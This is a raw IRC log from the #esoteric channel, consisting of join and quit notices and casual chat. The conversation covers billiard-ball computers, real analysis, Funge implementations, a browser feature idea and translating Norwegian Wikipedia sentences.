1268352702 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268352757 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268352922 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268354778 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268355042 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Reboot < 1268355694 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268358492 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1268359443 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268359523 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268361531 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268362162 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268362517 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268362552 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268362561 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268362612 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268363333 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268365241 0 :rodgort!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1268365431 0 :Asztal!~asztal@host86-162-148-4.range86-162.btcentralplus.com JOIN :#esoteric < 1268365990 0 :rodgort!~rodgort@li14-39.members.linode.com JOIN :#esoteric < 1268366519 0 :Azstal!~asztal@host86-162-149-185.range86-162.btcentralplus.com JOIN :#esoteric < 1268366648 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 255 seconds < 1268366662 0 :Azstal!unknown@unknown.invalid NICK :Asztal < 1268367404 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1268367434 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Those people on #ubuntu won't help me I need to make a autorun CD that can download the following program from the internet: http://wiki.freegeekvancouver.org/w/index.php?action=raw&ctype=text/css&title=Qc.sh < 1268367453 0 :Azstal!~asztal@host86-155-78-33.range86-155.btcentralplus.com JOIN :#esoteric < 1268367522 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268367522 0 :Azstal!unknown@unknown.invalid NICK :Asztal < 1268367910 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268367990 0 :zzo38!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268368162 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268369235 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1268369242 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Also, I would like to see if you can like this game and if you can figure it out: http://zzo38computer.cjb.net/GAMES/100level.zip < 1268369444 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268369743 0 :zzo38!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268370659 0 :SimonRC!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1268371215 0 :SimonRC!~sc@fof.durge.org JOIN :#esoteric < 1268371609 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268376485 0 :Libster!~Libster@pool-173-73-27-43.washdc.fios.verizon.net JOIN :#esoteric < 1268376490 0 :Libster!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1268376535 0 :Libster!unknown@unknown.invalid PRIVMSG #esoteric :oh hi Quadrescence didn't know you were in here too < 1268376562 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Libster: http://www.youtube.com/watch?v=An5afQemAV4 < 1268377278 0 :cheater2!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268377304 0 :cheater2!~cheater@ip-80-226-230-128.vodafone-net.de JOIN :#esoteric < 1268377594 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268377919 0 :Libster!unknown@unknown.invalid PRIVMSG #esoteric :should i spam this channel [ ] yes [ ] no < 1268377967 0 :Libster!unknown@unknown.invalid PRIVMSG #esoteric :eh don't have the energy to troll here tonight < 1268377969 0 :Libster!unknown@unknown.invalid PART #esoteric :? < 1268379524 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268380253 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268380614 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268380799 0 :clog!unknown@unknown.invalid QUIT :ended < 1268380800 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268382257 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268383733 0 :Quadrescence!unknown@unknown.invalid QUIT :Quit: omghaahhahaohwow < 1268383935 0 :cheater!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268383938 0 :cheater!~cheater@62.176.155.187 JOIN :#esoteric < 1268384721 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1268384883 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268386133 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1268386137 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :"In 1990, for instance, Cristopher Moore devised a kind of idealized pin-ball machine which is capable of universal computation." < 1268386139 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Duuuuude < 1268386148 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Why didn't anyone implement that! < 1268386286 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Because it requires a frictionless environment and perfect aim and timing, I imagine. < 1268386304 0 :mtve!unknown@unknown.invalid PRIVMSG #esoteric :previous work is from 1982 - http://en.wikipedia.org/wiki/Billiard-ball_computer < 1268386307 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Then again, a powered computer can overcome such concerns. < 1268386333 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I've written two different programming language specs based on the billiard ball machine! < 1268386391 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268386537 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :To actually implement a billiard ball computer, I think you'll want an array of magnets that turn on and off periodically. < 1268386627 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Should be pretty easy to simulate and create. < 1268387816 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm tempted to do that. < 1268389237 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268389663 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/0B8s9.gif < 1268395803 0 :zeotrope!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268399405 0 :lereah_!unknown@unknown.invalid PART #esoteric :? < 1268399411 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1268400244 0 :MigoMipo!~migomipo@84-217-6-128.tn.glocalnet.net JOIN :#esoteric < 1268400714 0 :FireFly[DS]!~nds@unaffiliated/firefly JOIN :#esoteric < 1268401545 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268401916 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268402751 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :hello esoterians < 1268402754 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :how are you doinging < 1268402790 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :well... < 1268402795 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :it's well < 1268402808 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :like, wif wata? < 1268402880 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :Though I, like, have to go soon < 1268402917 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :make since < 1268403041 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :like, now < 1268403043 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :-> < 1268403048 0 :FireFly[DS]!unknown@unknown.invalid QUIT :Quit: ClIRC - IRC client for Nintendo DS < 1268405243 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268407461 0 :fax!~none@amcant.demon.co.uk JOIN :#esoteric < 1268407479 0 :fax!unknown@unknown.invalid QUIT :Changing host < 1268407479 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268409309 0 :ais523!unknown@unknown.invalid QUIT :Read error: No route to host < 1268409532 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament? < 1268409568 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I am not sure real analysis IS the limit of the finite calculus < 1268409855 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, hm? what is real analysis about exactly? < 1268409857 0 :ais523!~ais523@147.188.254.119 JOIN :#esoteric < 1268409861 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hi ais523 < 1268409862 0 :ais523!unknown@unknown.invalid QUIT :Changing host < 1268409862 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268409884 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268409893 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, suggestion: identify before joining channels. Freenode sends a fake quit nowdays for host mask changes < 1268409898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :* ais523 (~ais523@147.188.254.119) has joined #esoteric < 1268409899 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :* ais523 has quit (Changing host) < 1268409899 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :* ais523 (~ais523@unaffiliated/ais523) has joined #esoteric < 1268409980 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, like infintesimals, or limits -- it's all about the continuum of real numbers and functions on real numbers < 1268409999 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what calculus is made of < 1268410009 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, why is it called finite analysis if it works on R, (an uncountably infinite set).. < 1268410026 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268410027 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unless the name "real analysis" is misleading < 1268410045 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, err, finite calculus < 1268410052 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but same question still stands < 1268410058 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(with the typo corrected) < 1268410076 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, I explained what real analysis is < 1268410091 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, yes, and then why is it called finite calculus? < 1268410092 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that was not a description of finite calculus < 1268410099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : I am not sure real analysis IS the limit of the finite calculus < 1268410105 0 :ais523!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268410105 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it sounded like it was more? < 1268410125 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perhaps I misinterpreted what you meant originally < 1268410132 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament said that real analysis is the limit of finite calculus < 1268410141 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I said, I am not sure that is so < 1268410152 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, limit as in "we can't do anything more advanced using this thing"? < 1268410154 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268410161 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268410167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, ah, as in lim? < 1268410170 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268410197 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ah now I see what you thought I meant < 1268410199 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, then that whole statement sounds somewhat strange to me. < 1268410216 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(but then, I'm no expert on such things) < 1268410220 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, right < 1268410251 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :have you studied real analysis? < 1268410396 0 :lereah_!unknown@unknown.invalid QUIT :Quit: Leaving < 1268410458 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster < 1268410573 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268410648 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, not that I know < 1268410725 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, it's just exploring the convergence/divergence of sequences of real numbers, then series (running totals of sequences), then lim & integrability - the big theorem from it is l'hopital < 1268410979 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268411042 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268411086 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but there are some striking similarities between the finite calculus and 'normal' calculus < 1268411219 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268411416 0 :FireFly!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1268411470 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268411539 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: they both have a lot to do with linear algebra. both derivations are linear operators on a vector space of functions < 1268411725 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan how did you know we were talking about this!!!!! < 1268411735 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :by the power of logs < 1268411745 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, did you take the log of both sides? < 1268411759 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well yeah, it was rather short < 1268411889 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :both sides? < 1268411913 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: see what you have done? < 1268411985 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I didnt' know you knew about finite calculus!!!! < 1268411991 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I wish I had concrete maths < 1268412072 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, wouldn't those be rather heavy and hard to handle? < 1268412084 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :plus would take a lot of time to dry I guess < 1268412108 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :i keep on thinking that #esoteric looks very much like #erotic < 1268412155 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cheater, Freud perhaps? < 1268412164 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :definitely < 1268412168 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :and this brings us to OMG PONIES! < 1268412172 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :pooooooooonieeeeeeeeees < 1268412178 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :is there an esolang for PONIES? < 1268412184 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cheater, wait, are you ehird? < 1268412189 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268412196 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cheater: it's that gay sex thing < 1268412197 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then wth < 1268412197 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :why would i be ehird? < 1268412212 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cheater, because of what you just said < 1268412222 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :what? PONIES? < 1268412225 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because ehird is disappeared again < 1268412230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :though usually he go for pink unicorn ponies iirc < 1268412232 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :ehird is not me < 1268412243 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cheater: well that's what you _say_ < 1268412247 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268412261 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :i'm not sure if i should be insulted or aroused < 1268412267 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :maybe both < 1268412272 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think the latter is completely wrong < 1268412282 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :but so enjoyable < 1268412288 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wrong channel < 1268412314 0 :FireFly!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268412314 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268412529 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :hey, you're the guy turning this place into #ethics < 1268412541 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1268412971 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268413434 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cheater, me? not afaik < 1268413446 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :ok :p < 1268413470 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster doesn't care about ethics at _all_ < 1268413564 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268413606 0 :nooga!~nooga@87-205-54-99.adsl.inetia.pl JOIN :#esoteric < 1268413773 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268414240 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268414366 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268414585 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268414641 0 :hiato!~fdulu@dsl-245-63-253.telkomadsl.co.za JOIN :#esoteric < 1268414709 0 :FireFly!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1268414725 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268414746 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: In FING, does Z pop or duplicate the source < 1268414747 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268414819 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, um. try his test program for FING < 1268414829 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cfunge passes it at least < 1268414835 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't remember the details < 1268414835 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Meh < 1268414850 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and atm I'm sadly very preocupied < 1268414855 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(modulo spellin) < 1268414862 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :spelling* < 1268414971 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :^source < 1268414971 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :http://git.zem.fi/fungot/blob/HEAD:/fungot.b98 < 1268415076 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, you could also look at efunge or cfunge source, both supports FING < 1268415097 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, still, use RCS's own test suite, there was some surprising semantics iirc < 1268415099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :forgot what it was < 1268415294 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Woo, Norwegian. < 1268415315 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm reading the article about flax. With the help of Wikipedia, I've mostly translated the first two sentences. < 1268415334 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Somewhat literal translation: < 1268415403 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Dyrka lin (Linum usitatissimum) or also simply called 'lin' is a species in the genus lin (Linum). Lin is an ettårig plant as it's been grown by humans in more than 10,000 years." < 1268415458 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :som = which, not as < 1268415461 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Lin" is "flax", of course, but I don't know what "ettårig" is all about. < 1268415472 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :one year life < 1268415495 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Ah, "which" makes more sense. < 1268415499 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, "annual" in English (as opposed to "perennial") < 1268415507 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268415531 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm? < 1268415540 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and that instance of "i" is better translated as "for" than "in" < 1268415557 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Indeed. < 1268415570 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's the "dyrka" all about? < 1268415595 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cultivated < 1268415609 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION nods.
< 1268415646 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It would be neat if you called domestic cats "dyrka katt". < 1268415673 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :nah < 1268415679 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :applies only to plants < 1268415682 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in English, a "cultivated cat" would be one with good manners < 1268415697 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"tam" is the word for animals < 1268415721 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://no.wikipedia.org/wiki/Katt < 1268415736 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :tamkatt and huskatt (house cat) < 1268415737 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I think I'd rather read about tamkatten than lin. < 1268415778 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pus is like "kitty", really, don't know why they list all the variants with that < 1268415800 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1268415803 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Cognate to "pussy", I imagine. < 1268415811 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268415814 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :pussy kitty < 1268415825 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hiaugur < 1268415839 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So in Norwegian, you have not only pussy-cats but catty-pusses? < 1268415846 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although the _other_ meaning of pussy is translated as "mus" (cognate to "mouse") < 1268415879 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Tamkatten har også i noen grad gått under det vitenskapelige navnet F. s. domesticus. < 1268415891 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Tamkatten has also to some extent been under the scientific name of F. s. domesticus. < 1268415942 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh that's pretty good < 1268415979 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :except you'd want a "known" after been, i think < 1268416012 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :tam is of course cognate to tame < 1268416019 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's "noen grad gått", word for word? < 1268416024 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Ooh, fancy. < 1268416030 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :some degree gone < 1268416058 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Grad" is probably cognate to "grade". < 1268416067 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :probably < 1268416171 0 :kar8nga!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268416197 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1268416210 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I think a good feature for a web-browser, I will add is "redial URL" command. < 1268416215 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Sometimes when you enter a URL or follow a hyperlink it will redirect. Using reload just reloads the current URL. < 1268416221 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: norwegian "kultivert" means with good manners too < 1268416223 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :So, the idea is that using redial it will reload the original URL instead of necessariily the current one. < 1268416245 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, yes < 1268416254 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :how often do redirects change, anyway? < 1268416272 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :perhaps it should work Wikipedia-style where redirects show the original URL not the new one < 1268416309 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :actually "kultivert" seems to be usable for plants too < 1268416353 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't matter how often redirects change. (Sometimes they are random redirects, such as the "Random page" on Mediawiki) < 1268416423 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Once I think how to implement, I will do so. C-R is already used for "rewind" so I can put C-E for "redial", maybe?? < 1268416430 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Den er et lite rovpattedyr i kattefamilien, og regnes i dag som en variant av afrikansk villkatt (F. s. lybica). < 1268416432 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :It is a small rovpattedyr in the cat family, and is today considered a variant of the African wild cat (F. s. lybica). < 1268416438 0 :Asztal!~asztal@host86-155-78-33.range86-155.btcentralplus.com JOIN :#esoteric < 1268416454 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : It would be neat if you called domestic cats "dyrka katt". <-- that sounds like Egytians to me < 1268416478 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: rovpattedyr = carnivore (mammal) < 1268416501 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You mean a carnivoran? < 1268416518 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: i don't know that distinction < 1268416533 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Carnivorans are a clade of mammals including cats, dogs, and bears. < 1268416541 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :rovdyr alone means the same, except maybe not just mammals < 1268416553 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Carnivores are anything that eats meat. < 1268416570 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://no.wikipedia.org/wiki/Rovpattedyr < 1268416575 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Good idea. < 1268416599 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :actually that article includes both with and without -patte- < 1268416601 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, it's the carnivorans. < 1268416601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, what does dyrka mean in Norwegian? < 1268416609 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: cultivated, i said < 1268416620 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :isn't it dyrkad in swedish? < 1268416625 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Is "regnes i dag" literally "considered in today" or "considered in day"? < 1268416625 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, in Swedish it means a) worship or b) lockpicking < 1268416639 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :thus the comment about egyptians < 1268416649 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: in norwegian (a) dyrke (b) dirke < 1268416650 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: what a strange pair of words to have as homographs < 1268416677 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: norw. dyrka is a past participle not an infinitive (except in some forms of nynorsk) < 1268416687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well I think the latter is somewhat "not slang, but not really formal either" < 1268416697 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :how similar are nynorsk and bokmal, by the way? < 1268416703 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :mutually intelligble? < 1268416733 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: you can write them quite similarly, although there is also an option for using very strange word choices not usually in the other < 1268416741 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, also dyrka as worship sounds somewhat like it wouldn't have been used about Christan worship in past time. Perhaps it has a slight negative quality embedded < 1268416743 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Like 